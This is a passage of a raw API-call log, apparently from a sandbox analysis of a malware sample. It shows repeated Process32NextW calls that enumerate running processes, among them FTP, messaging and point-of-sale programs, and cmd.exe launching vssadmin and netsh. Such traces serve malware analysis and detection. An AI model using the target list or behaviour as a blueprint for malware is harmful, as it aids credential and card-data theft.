lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0076.494] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0076.496] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.498] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.499] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0076.501] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.502] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.504] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0076.506] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.507] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ltd revolutionary regulations.exe")) returned 1 [0076.509] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="similar.exe")) returned 1 [0076.511] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guestbook saturday.exe")) returned 1 [0076.512] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="perceived.exe")) returned 1 [0076.515] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="communities calculate.exe")) returned 1 [0076.516] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravekingdodge.exe")) returned 1 [0076.517] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="entitled.exe")) returned 1 [0076.519] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="f_sign.exe")) returned 1 [0076.520] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mathematical carbon.exe")) returned 1 [0076.521] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="referrals-pamela-algebra.exe")) returned 1 [0076.962] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="paintingscompiledbeing.exe")) returned 1 [0076.964] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="collective.exe")) returned 1 [0076.965] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mls-miracle-bestsellers.exe")) returned 1 [0076.967] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshot-venture-distance.exe")) returned 1 [0076.968] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="meditation-vic-easily.exe")) returned 1 [0076.970] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="request-mhz.exe")) returned 1 [0076.971] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jefferson.exe")) returned 1 [0076.972] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0076.974] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0076.976] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0076.977] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0076.979] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0076.980] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0076.982] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0076.983] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0076.985] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0076.986] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0076.988] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0076.989] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0076.991] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0076.992] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0077.760] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0077.762] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0077.764] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0077.767] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0077.770] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0077.774] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0077.776] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0077.779] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0077.781] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0077.784] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0077.787] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0077.789] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0078.255] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0078.257] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0078.259] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0078.261] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0078.263] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0078.265] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0078.267] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0078.270] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0078.272] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0078.274] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0078.276] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0078.278] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0078.279] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0078.281] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0078.284] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0078.287] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0078.509] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay-compromise.exe")) returned 1 [0078.512] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural_allowance.exe")) returned 1 [0078.514] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="presents.exe")) returned 1 [0078.516] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="latino powers economics.exe")) returned 1 [0078.518] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lbs essentially nyc.exe")) returned 1 [0078.520] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.523] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.525] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0078.527] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0078.529] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.530] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.532] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.534] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.536] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x808, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0078.537] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0078.540] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0078.541] Process32NextW (in: hSnapshot=0x164, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, 